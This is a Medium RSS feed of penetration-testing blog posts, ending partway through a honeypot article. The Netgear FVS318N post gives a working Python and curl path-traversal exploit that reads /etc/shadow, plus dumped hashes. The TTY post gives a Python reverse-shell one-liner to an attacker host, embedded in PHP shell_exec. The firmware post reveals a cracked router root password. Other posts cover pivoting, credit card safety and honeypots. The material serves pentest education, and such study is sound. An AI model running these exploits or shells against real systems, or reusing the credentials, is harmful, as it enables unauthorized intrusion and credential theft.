<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by 6c2e6e2e on Medium]]></title>
        <description><![CDATA[Stories by 6c2e6e2e on Medium]]></description>
        <link>https://medium.com/@6c2e6e2e?source=rss-8f88685c930a------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*etAeTmNS6G2oo4vZMk5_Rg.jpeg</url>
            <title>Stories by 6c2e6e2e on Medium</title>
            <link>https://medium.com/@6c2e6e2e?source=rss-8f88685c930a------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Thu, 19 Nov 2026 05:52:21 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@6c2e6e2e/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Getting root password from firmware image ( TP-Link WR740n example)]]></title>
            <link>https://medium.com/@6c2e6e2e/getting-root-password-from-firmware-image-tp-link-wr740n-example-f17ef8a58ea3?source=rss-8f88685c930a------2</link>
            <guid isPermaLink="false">https://medium.com/p/f17ef8a58ea3</guid>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[tutorial]]></category>
            <category><![CDATA[firmware]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[6c2e6e2e]]></dc:creator>
            <pubDate>Wed, 07 Mar 2018 18:47:03 GMT</pubDate>
            <atom:updated>2018-03-07T18:47:03.493Z</atom:updated>
            <content:encoded><![CDATA[<p>Today I will teach you how to obtain the root password from a WiFi router firmware image.</p><p><strong>Why I would waste my time in doing so?</strong></p><ul><li>Root passwords from a firmware can be used in some circumstances to obtain access to a router system via an serial port or other services.</li><li>Potential backdoor left by developers as found here:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/671/1*nKuABAgVQ2146zJw1vUPjw.png" /><figcaption>Gas Stations Hardcoded Passwords (CVE-2017–14728)</figcaption></figure><ul><li>This tutorial is intended to be a basic one in order to learn fun and useful stuff</li><li>Good for CTF training.</li></ul><p><strong>Steps to getting the password:</strong></p><ul><li>Download the latest available version at: <a href="https://www.tp-link.com/en/download/TL-WR740N_V7.html#Firmware">https://www.tp-link.com/en/download/TL-WR740N_V7.html#Firmware</a></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/713/1*wYKl1UdytTvyfcWB8Ds7Ow.png" /></figure><ul><li>binwalk -e wr740nv7_eu_3_16_9_up_boot\(160708\).bin</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/130/1*wlvMfsrI0xYmdxCRc7xKUw.png" /><figcaption>before binwalk -e</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XetgiNSjLi_As4pZ5Wnljw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/151/1*GJ1xOEZ7r3I3h4BdP0v7EQ.png" /><figcaption>after binwalk -e</figcaption></figure><ul><li>Go to “_wr740nv7_eu_3_16_9_up_boot(160708).bin.extracted/squashfs-root/etc/” and open shadow file.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/885/1*hFxk51XunRGnAdriD5_ahQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/673/1*12ScouWxjdAAOZJzOiycZQ.png" /></figure><ul><li>Bruteforce or obtain from Google the equivalent password for the given hash.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/815/1*sKorRFnEbo66aY47PbxsrA.png" /></figure><p>In other words:</p><p>The password for the given hash (root:$1$GTN.gpri$DlSyKvZKMR9A9Uj9e9wR3/:15502:0:99999:7:::) is squal to “shoadmin”.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f17ef8a58ea3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Netgear ProSafe FVS318N — Path Traversal to /etc/shadow]]></title>
            <link>https://medium.com/@6c2e6e2e/netgear-prosafe-fvs318n-path-traversal-to-etc-shadow-95b4bc06436f?source=rss-8f88685c930a------2</link>
            <guid isPermaLink="false">https://medium.com/p/95b4bc06436f</guid>
            <category><![CDATA[exploit]]></category>
            <category><![CDATA[pentest]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[exploit-development]]></category>
            <dc:creator><![CDATA[6c2e6e2e]]></dc:creator>
            <pubDate>Wed, 07 Mar 2018 18:05:11 GMT</pubDate>
            <atom:updated>2018-03-07T18:05:11.561Z</atom:updated>
            <content:encoded><![CDATA[<p>A few years ago this was one of my first exploit that I have written myself. Without wasting much of your time let’s jump in!</p><h3>Target Description</h3><p><strong>Product Link:</strong> <a href="https://www.netgear.com/support/product/FVS318N.aspx">https://www.netgear.com/support/product/FVS318N.aspx</a></p><p><strong>Firmware Version:</strong> 4.3.3–2 (factory new!)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/974/0*pPOrvKdNeBcyL9P5.png" /></figure><p><strong>Exploit Author:</strong> Lucian Nitescu (old link: <a href="https://nitesculucian.github.io/2017/10/09/Netgear-Pro-Safe-FV-S18N-Path-Traversal-to-etcshadow.html">https://nitesculucian.github.io/2017/10/09/Netgear-Pro-Safe-FV-S18N-Path-Traversal-to-etcshadow.html</a>)</p><h3>About the Exploit</h3><p><strong>CVSS 2.0 Score:</strong> 7.1 (AV:N/AC:L/Au:N/C:P/I:P/A:P/E:F)</p><p><strong>Vector:</strong> Remote Path Traversal to /etc/shadow (administrative password hash disclosure) using the web management interface.</p><h3>Proof of Concept (POC)</h3><h4>Python Exploit (replace 192.168.2.1 with your IP):</h4><pre># Exploit Title: Netgear ProSafe FVS318N - Path Traversal to /etc/shadow<br># Firmware Version: 4.3.3-2 (factory new!)<br># Exploit Author: Lucian Nitescu<br><strong>import</strong> urllib3<br>urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) #this disable the SSL/TLS warnings (not that we care about them)<br># sudo pip intall requests - in order to install it<br><strong>import</strong> requests</pre><pre>headers = {<br>    &#39;User-Agent&#39;: &#39;Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:55.0) Gecko/20100101 Firefox/55.0&#39;,<br>    &#39;Referer&#39;: &#39;https://192.168.2.1/scgi-bin/platform.cgi&#39;,<br>    &#39;Content-Type&#39;: &#39;application/x-www-form-urlencoded&#39;,<br>    &#39;Upgrade-Insecure-Requests&#39;: &#39;1&#39;<br>}<br># path traversal payload gose here<br>data = &#39;USERDBDomains.Domainname=geardomain&amp;USERDBUsers.UserName=&amp;USERDBUsers.Password=&amp;thispage=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fshadow%00index.htm&amp;button.login.USERDBUsers.router_status=button.login.USERDBUsers.router_status%3dLogin&amp;Login.userAgent=&#39;</pre><pre>requ = requests.post(&#39;https://192.168.2.1/scgi-bin/platform.cgi&#39;, headers=headers, data=data, verify=<strong>False</strong>, stream=<strong>True</strong>)<br>requ.connection.close()</pre><pre><strong>print</strong> requ.headers # etc shadow is posted as headers :D</pre><p>Proof:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/928/0*SHF5G3nf_nwwS2Jk.png" /></figure><p>Pretty easy exploit and you can observe all the user accounts and the valid password hashes.</p><h3>CURL Exploit (replace 192.168.2.1 with your IP):</h3><pre>curl -i -s -k  -X $&#39;POST&#39; \<br>    -H $&#39;User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:55.0) Gecko/20100101 Firefox/55.0&#39; -H $&#39;Referer: <a href="https://192.168.2.1/scgi-bin/platform.cgi&#39;">https://192.168.2.1/scgi-bin/platform.cgi&#39;</a> -H $&#39;Content-Type: application/x-www-form-urlencoded&#39; -H $&#39;Upgrade-Insecure-Requests: 1&#39; \<br>    --data-binary $&#39;USERDBDomains.Domainname=geardomain&amp;USERDBUsers.UserName=&amp;USERDBUsers.Password=&amp;thispage=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fshadow%00index.htm&amp;button.login.USERDBUsers.router_status=button.login.USERDBUsers.router_status%3dLogin&amp;Login.userAgent=&#39; \<br>    $&#39;https://192.168.2.1/scgi-bin/platform.cgi&#39;</pre><p>Proof:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*EQdEcqh7gmnYHhYp.png" /></figure><p>Same thing but using CURL instead of Python.</p><h3>Ok you got this …​ and?</h3><p>Then you collect all the password hashes in text file. For example:</p><pre>bin:*:10933:0:99999:7:::<br>daemon:*:10933:0:99999:7:::<br>adm:*:10933:0:99999:7:::<br>lp:*:10933:0:99999:7:::<br>sync:*:10933:0:99999:7:::<br>shutdown:*:10933:0:99999:7:::<br>halt:*:10933:0:99999:7:::<br>uucp:*:10933:0:99999:7:::<br><strong>operator</strong>:*:10933:0:99999:7:::<br>nobody:*:10933:0:99999:7:::<br><strong>default</strong>::10933:0:99999:7:::<br>root:DPbt4OM0M20uY:12374:0:99999:7:::<br>guest:G4xILbRj62NHA:17090:0:99999:7:::</pre><p>Then you can go to Johnny and start brute force those hashes. Example for the file I provided:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/886/0*gIup3HB5lheSx4fm.png" /></figure><p>In this example you can observe that the Guest user has the password equal with “password”. With enough time I can get logged in as root/admin or I can use any other VPN related account to touch the internal network assets.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=95b4bc06436f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Network pivoting like a pro!]]></title>
            <link>https://medium.com/@6c2e6e2e/network-pivoting-like-a-pro-2fa04a569d8c?source=rss-8f88685c930a------2</link>
            <guid isPermaLink="false">https://medium.com/p/2fa04a569d8c</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[pivoting]]></category>
            <category><![CDATA[vpn]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[6c2e6e2e]]></dc:creator>
            <pubDate>Fri, 02 Mar 2018 00:18:04 GMT</pubDate>
            <atom:updated>2018-03-02T00:22:20.398Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/400/0*vXmV57oeItFt8tds.jpg" /><figcaption><a href="https://i.imgflip.com/25kmtg.jpg">https://i.imgflip.com/25kmtg.jpg</a></figcaption></figure><p>Often during penetration tests or security assessments you start from the external network and you try to get to the internal network and overtake as much systems as you can. And as a matter of fact, during penetration tests or security assessments you get shells (more on interactive tty shells <a href="https://medium.com/@6c2e6e2e/spawning-interactive-reverse-shells-with-tty-a7e50c44940e">here</a>) or even ssh access via certain exploited vulnerabilities or via leaked credentials.</p><p>While you have access to a compromised server you also have access to it’s internal network. Unfortunately, you do not want to install lots of scanners and tools on that server (as it is not yours or you might break something), but you still need to scan the internal network. Then you need to <strong>pivot</strong> in the internal network.</p><p><strong>What is pivoting?</strong></p><p>Pivoting is the unique technique of using an instance (also referred to as a ‘plant’ or ‘foothold’) to be able to “move” around inside a network. Basically using the first compromise to allow and even aid in the compromise of other otherwise inaccessible systems. In this scenario we will be using it for routing traffic from a normally non-routable network.</p><p><strong>What is the best way for pivoting?</strong></p><p>Well if you are doing an penetration testing or security assessment and you need to test the internal network, don’t forget to request a VPN access. VPNs are the best way to tunnel your traffic through there internal networks without being restricted.</p><p><strong>I do not have a VPN, but I have a shell.</strong></p><p>You are in a “bad” spot and you have to be a bit inventive.</p><p><strong>Option 1 </strong>: <a href="https://bitrot.sh/cheatsheet/14-12-2017-pivoting/">https://bitrot.sh/cheatsheet/14-12-2017-pivoting/</a></p><p>Learn about Listen — Listen, Listen — Connect, Connect — Connect pivoting types and try harder!</p><p><strong>Option 2</strong> : Be a smart individual, hunt for stored or hardcoded credentials, hunt for users bash history or even cat /etc/shadow to future brute force them.</p><p><strong>I do not have a VPN, but I have SSH access to a server.</strong></p><p>Jackpot. One word: sshuttle</p><p><a href="https://github.com/sshuttle/sshuttle">GitHub - sshuttle/sshuttle: Transparent proxy server that works as a poor man&#39;s VPN. Forwards over ssh. Doesn&#39;t require admin. Works with Linux and MacOS. Supports DNS tunneling.</a></p><p>It even speaks by itself and solves the following common case:</p><ul><li>Your client machine (or router) is Linux, FreeBSD, or MacOS.</li><li>You have access to a remote network via ssh.</li><li>You don’t necessarily have admin access on the remote network.</li><li>The remote network has no VPN, or only stupid/complex VPN protocols (IPsec, PPTP, etc). Or maybe you <em>are</em> the admin and you just got frustrated with the awful state of VPN tools.</li><li>You don’t want to create an ssh port forward for every single host/port on the remote network.</li><li>You hate openssh’s port forwarding because it’s randomly slow and/or stupid.</li><li>You can’t use openssh’s PermitTunnel feature because it’s disabled by default on openssh servers; plus it does TCP-over-TCP, which has terrible performance (see below).</li></ul><p>Installation:</p><pre>sudo pip install sshuttle</pre><p>Usage:</p><pre>sshuttle — dns -r USERNAME@IPADDRESS:PORT 0/0 -vv</pre><p>And that is it! You are in.</p><p><strong>SSHuttle demo:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WV8TQVCIauTIWcNlrPyOAQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1008/1*NlepzHO-o76Zpoiid2gNXA.png" /></figure><p>The documentation for the latest development version is available at: <a href="http://sshuttle.readthedocs.org/en/latest/">http://sshuttle.readthedocs.org/en/latest/</a></p><p><strong>Thanks to:</strong> <a href="https://www.offensive-security.com/metasploit-unleashed/pivoting/">https://www.offensive-security.com/metasploit-unleashed/pivoting/</a>, <a href="https://github.com/sshuttle/sshuttle">https://github.com/sshuttle/sshuttle</a> and <a href="https://bitrot.sh/cheatsheet/14-12-2017-pivoting/">https://bitrot.sh/cheatsheet/14-12-2017-pivoting/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2fa04a569d8c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[What are the security implications of my credit card number being known by someone else?]]></title>
            <link>https://medium.com/@6c2e6e2e/what-are-the-security-implications-of-my-credit-card-number-being-known-by-someone-else-ff3e178ec1ad?source=rss-8f88685c930a------2</link>
            <guid isPermaLink="false">https://medium.com/p/ff3e178ec1ad</guid>
            <category><![CDATA[discussion]]></category>
            <category><![CDATA[credit-cards]]></category>
            <category><![CDATA[tips-and-tools]]></category>
            <category><![CDATA[payments]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[6c2e6e2e]]></dc:creator>
            <pubDate>Thu, 01 Mar 2018 10:01:00 GMT</pubDate>
            <atom:updated>2018-03-01T10:01:00.913Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/553/0*twB-sIYrgcqTqXuP.jpg" /><figcaption><a href="https://img.wonderhowto.com/img/13/01/63468972028174/0/1-5-million-credit-cards-hacked-global-payments-breach-was-yours-one-them.w1456.jpg">https://img.wonderhowto.com/img/13/01/63468972028174/0/1-5-million-credit-cards-hacked-global-payments-breach-was-yours-one-them.w1456.jpg</a></figcaption></figure><p>About one year ago someone on the Security Stack Exchanged asked this question: <a href="https://security.stackexchange.com/questions/119722/what-are-the-security-implications-of-my-credit-card-number-being-known-by-someo/119725#119725">https://security.stackexchange.com/questions/119722/what-are-the-security-implications-of-my-credit-card-number-being-known-by-someo/119725#119725</a></p><p>Today, I decided to write an article about this exact question and how you could protect yourself.</p><p><strong>In non-Europe case and manly USA</strong>, there are quite a few cases where people are called out for disclosing the front-face of a credit or debit card (e.g. <a href="https://twitter.com/briankrebs/status/260578641094770689">this tweet from Brian Krebs</a> or this <a href="https://twitter.com/NeedADebitCard">twitter account</a>). And is a fact that you don’t actually need the CVV (the code from the behind the card) to perform transactions, they’re just required by most retailers as a means of verifying that you have the physical card in your possession.</p><p>On most <a href="https://en.wikipedia.org/wiki/EFTPOS">EFTPOS systems</a>, it’s possible to manually enter the card details. When a field is not present, the operator simply presses enter to skip, which is common with cards that don’t carry a start date. On these systems, it is trivial to charge a card without the CVV.</p><p>Also, in some retails, they will frequently do this when the chip on a card is not working and the CVV had rubbed off. In such cases, all you need to perform a purchase or a transaction is the card number and expiry date, with a signature on the receipt for verification.</p><p><strong>In other simpler words</strong>, you could use that number to make payments or purchases in some systems. But if they have also your CVV from the back of the card, then your card is fully compromised and can be used for all kind of payments all over the world.</p><p><strong>In Europe case</strong>, with most banks credit card numbers and CVV are by default not sufficient to authorize a transaction of any kind.</p><p>For example <a href="https://www.ubs.com/">UBS</a> forces you to choose a password that will be requested for any internet payment (and clearly it’s not written on the credit card). Other banks in European Union do this or they send you a code on your mobile phone, so attacker/robbers would have to have your phone too. The most common is the 3-D Secure service which is an XML-based protocol designed to be an additional security layer for online credit and debit card transactions.</p><p><strong>I got compromised, what i do?</strong> Contact your credit card bank or issuer. They can provide you a new credit card. Also credit cards are something pre-internet and they don’t have an amazing security and almost every bank in this world is ready to take action (24/7) in case of credit card fraud. Also have a look at this:</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FyDOtENyOxyA%3Ffeature%3Doembed&amp;url=http%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DyDOtENyOxyA&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FyDOtENyOxyA%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/90fc851543053524fd77cefbedaa031a/href">https://medium.com/media/90fc851543053524fd77cefbedaa031a/href</a></iframe><p><strong>What options I have in order to better secure my credit cards?</strong></p><p>Well you can’t pay only with cash.</p><p>But <strong>do not use</strong> your bank provided credit card for both online and offline payments. I strongly recommend using a service like <a href="https://www.revolut.com/">Revolut</a> or <a href="https://entropay.com/">Entropay</a> which provides you with both physical and virtual Credit Cards which can be used in any form of transactions. Personally I use such services with small amounts of money base on needs and I even freeze my cards and unfreeze them seconds before a purchase.</p><p><strong>But could you give me some basic tips?</strong></p><p>Don’t use your credit card on an unsecured website and ensure that your payment is processed through an <a href="https://en.wikipedia.org/wiki/Payment_processor">Payment Processor</a>.</p><p>Don’t post your credit cards on social networking sites.</p><p>Don’t post your credit cards on websites as validation for certain access.</p><p>Check your monthly statement or even daily if your have access to such data.</p><p>Protect your credit card and pin numbers at ATMs or when using the telephone.</p><p>Carry as few credit cards as possible.</p><p>Don’t store you credit cards numbers.</p><p>Protect your credit card against NFC attacks.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ff3e178ec1ad" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Spawning interactive reverse shells with TTY]]></title>
            <link>https://medium.com/@6c2e6e2e/spawning-interactive-reverse-shells-with-tty-a7e50c44940e?source=rss-8f88685c930a------2</link>
            <guid isPermaLink="false">https://medium.com/p/a7e50c44940e</guid>
            <category><![CDATA[tty-shell]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[reverse-shell]]></category>
            <category><![CDATA[offensive-security]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[6c2e6e2e]]></dc:creator>
            <pubDate>Wed, 28 Feb 2018 14:17:22 GMT</pubDate>
            <atom:updated>2018-02-28T14:45:15.456Z</atom:updated>
            <content:encoded><![CDATA[<p>Early user terminals connected to computers were electromechanical teleprinters or teletypewriters (TeleTYpewriter, TTY), and since then TTY has continued to be used as the name for the text-only console although now this text-only console is a virtual console not a physical console.</p><p>Often during penetration testing you may obtain a shell without having tty, yet wish to interact further with the system. For example here we have two different consoles from two different systems.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/746/1*bM3H0xSuMSueZvp1pA6JHw.png" /></figure><p>In this example we will consider “<strong>guest</strong>” server as the <strong>attacker server</strong> and “<strong>mhnserver</strong>” as the <strong>target</strong>. And we will try a simple reverse shell:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/419/1*FlZpHtuxWm2Ub_zQh5QLpQ.png" /><figcaption>Our goal for nowis to get the TTY Shell.</figcaption></figure><p>First of all the attacker will start his listening service for a specific known port in order to obtain a shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/738/1*Pt8Tw5chWAMOmhTBIp1pkQ.png" /><figcaption># nc -l -p 8080</figcaption></figure><p>Supposedly, the attacker was able to execute a python script through an <strong>RCE (Remote Code Execution)</strong> vulnerability on a web server. To simulate this we will open php console and will use the shell_exec function.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/736/1*PYAYzR78KcX8UJ0Vkff_vw.png" /><figcaption>Example of usage.</figcaption></figure><p>Now we will finish our reverse shell using Python.</p><pre>python -c &#39;import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((<strong>&quot;Attacker IP Address&quot;,8080</strong>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([&quot;/bin/sh&quot;,&quot;-i&quot;]);&#39;</pre><p>But because we are exploiting the simulated <strong>RCE</strong> vulnerability in a website written in PHP, we have to adapt:</p><pre><strong>$output = shell_exec(&#39;</strong>python -c <strong>\</strong>&#39;import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((<strong>&quot;Attacker IP Address&quot;,8080</strong>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([&quot;/bin/sh&quot;,&quot;-i&quot;]);<strong>\</strong>&#39;<strong>&#39;);</strong><br><strong>echo $output;</strong></pre><p>The output on the <strong>Target Server</strong> is:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/731/1*rOy-GUj8geKHq5ClEx_dtA.png" /><figcaption>The most beautiful image for a hacker.</figcaption></figure><p>The output on the <strong>Attacker Server</strong> is:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/736/1*rWiUpsAI3crYW2It0ykt_Q.png" /><figcaption>The most beautiful image for a hacker.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/739/1*-diQ8RlO492Wiz86vH1tMQ.png" /></figure><p>Now that I have access to the <strong>Target Server</strong> using a reverse shell to the <strong>Attacker Server</strong>, I want to connect to a <strong>third server</strong> through SSH. In other words:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/892/1*t3ZxNK2b8o8ncOjFu04yGg.png" /><figcaption>Our goal is to get on Secondary Target server. This is called <strong>pivoting</strong>.</figcaption></figure><p>Pivoting is the unique technique of using an instance (also referred to as a ‘plant’ or ‘foothold’) to be able to “move” around inside a network. Basically using the first compromise to allow and even aid in the compromise of other otherwise inaccessible systems.</p><p>Of course we will fail because we do not have a full interactive TTY shell:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/735/1*ms2LDjTW1E6V0tj9f0xuEA.png" /></figure><p>And it is funny, let’s try to use <strong>Ctrl + C</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/733/1*Z2LpGMEDrZtV-vOlN1m_tg.png" /></figure><p>As we can see we made two mistakes. We could cause a Denial of Service on our <strong>Target Server </strong>and<strong> we lost our reverse shell.</strong></p><p>What should we do now? Restart again, but here are some commands which will allow you to spawn a tty shell. Obviously some of this will depend on the system environment and installed packages.</p><pre>python -c ‘import pty; pty.spawn(“/bin/sh”)’</pre><pre>echo os.system(‘/bin/bash’)</pre><pre>/bin/sh -i</pre><pre>perl -e &#39;exec &quot;/bin/sh&quot;;&#39;</pre><p>Or by case:</p><pre>perl: exec “/bin/sh”;<br>ruby: exec “/bin/sh”<br>lua: os.execute(‘/bin/sh’)</pre><pre>From within IRB:<br>exec “/bin/sh”</pre><pre>From within vi:<br>:!bash</pre><pre>From within vi:<br>:set shell=/bin/bash:shell</pre><pre>From within nmap:<br>!sh</pre><p>Second try:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/732/1*zVt8Q75YJsPR8yNLCuxVHA.png" /></figure><p>No luck! Try harder!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/736/1*wy17uZWuXkS23AmvR5OZrw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/736/1*R0v6xVAqr1st0Wm1u62asQ.png" /></figure><p>Of course it failed. I wouldn’t have this tutorial if it did not.</p><p>Finally if all of the above things fail, you still have one more option. <strong>Break your own console</strong> to achieve a full interactive TTY shell. <strong>Literally</strong>.</p><pre><strong># In reverse shell </strong><br>$ python -c &#39;import pty; pty.spawn(&quot;/bin/bash&quot;)&#39;<br><strong>Ctrl-Z</strong><br><br><strong># In Attacker console</strong><br>$ stty raw -echo<br>$ <strong>fg</strong><br><br><strong># In reverse shell</strong><br>$ reset<br>$ export SHELL=bash<br>$ export TERM=xterm-256color<br>$ stty rows &lt;num&gt; columns &lt;cols&gt;</pre><p>Proof of Concept:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/733/1*daAEb0__dGsKw-eZqOXoeQ.png" /><figcaption>python -c &#39;import pty; pty.spawn(&quot;/bin/bash&quot;)&#39;<br>Ctrl-Z</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/736/1*IOiPclgo8-uq3ckCYgeVxQ.png" /><figcaption>stty raw -echo &amp;&amp; fg</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/739/1*J9NxYotDj4yc_SgiNQPCxQ.png" /><figcaption>Jackpot, even the console name changed.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/735/1*bq2tU5ZetloUBypKYzm_vw.png" /><figcaption>And my pivoting works just fine.</figcaption></figure><p>Well, the secret is to try hard enough and at some point you will be able to get fully interactive TTY shells.</p><p>Thanks to: <a href="https://netsec.ws/?p=337">https://netsec.ws/?p=337</a> , <a href="https://askubuntu.com/questions/481906/what-does-tty-stand-for">https://askubuntu.com/questions/481906/what-does-tty-stand-for</a>, <a href="https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/#tldrcheatsheet">https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/#tldrcheatsheet</a> and <a href="https://www.offensive-security.com/metasploit-unleashed/pivoting/">https://www.offensive-security.com/metasploit-unleashed/pivoting/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a7e50c44940e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Honeypots with Modern Honey Network (MHN)]]></title>
            <link>https://medium.com/@6c2e6e2e/honeypots-with-modern-honey-network-mhn-6acd1a04d4a9?source=rss-8f88685c930a------2</link>
            <guid isPermaLink="false">https://medium.com/p/6acd1a04d4a9</guid>
            <category><![CDATA[network]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[mhn]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[honeypot]]></category>
            <dc:creator><![CDATA[6c2e6e2e]]></dc:creator>
            <pubDate>Tue, 27 Feb 2018 18:01:54 GMT</pubDate>
            <atom:updated>2018-02-28T11:11:41.375Z</atom:updated>
            <cc:license>https://creativecommons.org/licenses/by-nc-sa/4.0/</cc:license>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/954/1*G1zJ3MIOqOT5mQTImLSvdw.png" /></figure><p>Hi to every one, today I am going to teach both how you can host your own honeypot network and what to do with the collected data.</p><h4>Before we start, what the heck is MHN?</h4><p>MHN is a centralized server for management and data collection of honeypots. MHN allows you to deploy sensors quickly and to collect data immediately, viewable from a neat web interface. Honeypot deploy scripts include several common honeypot technologies, including <a href="https://snort.org/">Snort</a>, <a href="http://www.micheloosterhof.com/cowrie/">Cowrie</a>, <a href="http://edgis-security.org/honeypot/dionaea/">Dionaea</a>, and <a href="https://github.com/glastopf/">glastopf</a>, among others.</p><p>And before all of that, MHN is under GNU Lesser General Public License v2.1 and also public available at the following GitHub address:</p><p><a href="https://github.com/threatstream/mhn">threatstream/mhn</a></p><h4>Why would I host a honeypot?</h4><blockquote>If you are far from the enemy, make him believe you are near. <strong>Sun Tzu</strong></blockquote><p>The main reason of why would you host an honeypot is information. Personally I host honeypots for:</p><p>~ providing <a href="https://www.abuseipdb.com/">AbuseIPDB</a> community with a list of abusive IPs engaging in hacking attempts or other malicious behavior and also helping fellow sysadmins around the world.</p><p>~ for collecting malware, botnets clients and shells in order to report them to certain communities in order to further prevent such attacks.</p><p>~ for defending my production environments and adding time between the attacker and my real systems.</p><p>~ FOR FUN. There are good hackers and <a href="https://en.wikipedia.org/wiki/Script_kiddie">script kidders</a>.</p><h4>Where could I host a honeypot?</h4><p>In MHN you have two key aspects: Sensors and MHN Servers. <strong>Sensors</strong> are the honeypot services (Snort, Cowrie, Dionaea, and glastopf, among others) that you run on a server, while <strong>MHN Servers </strong>are the standalone servers which collects data from sensors and manage all the settings. Imagine 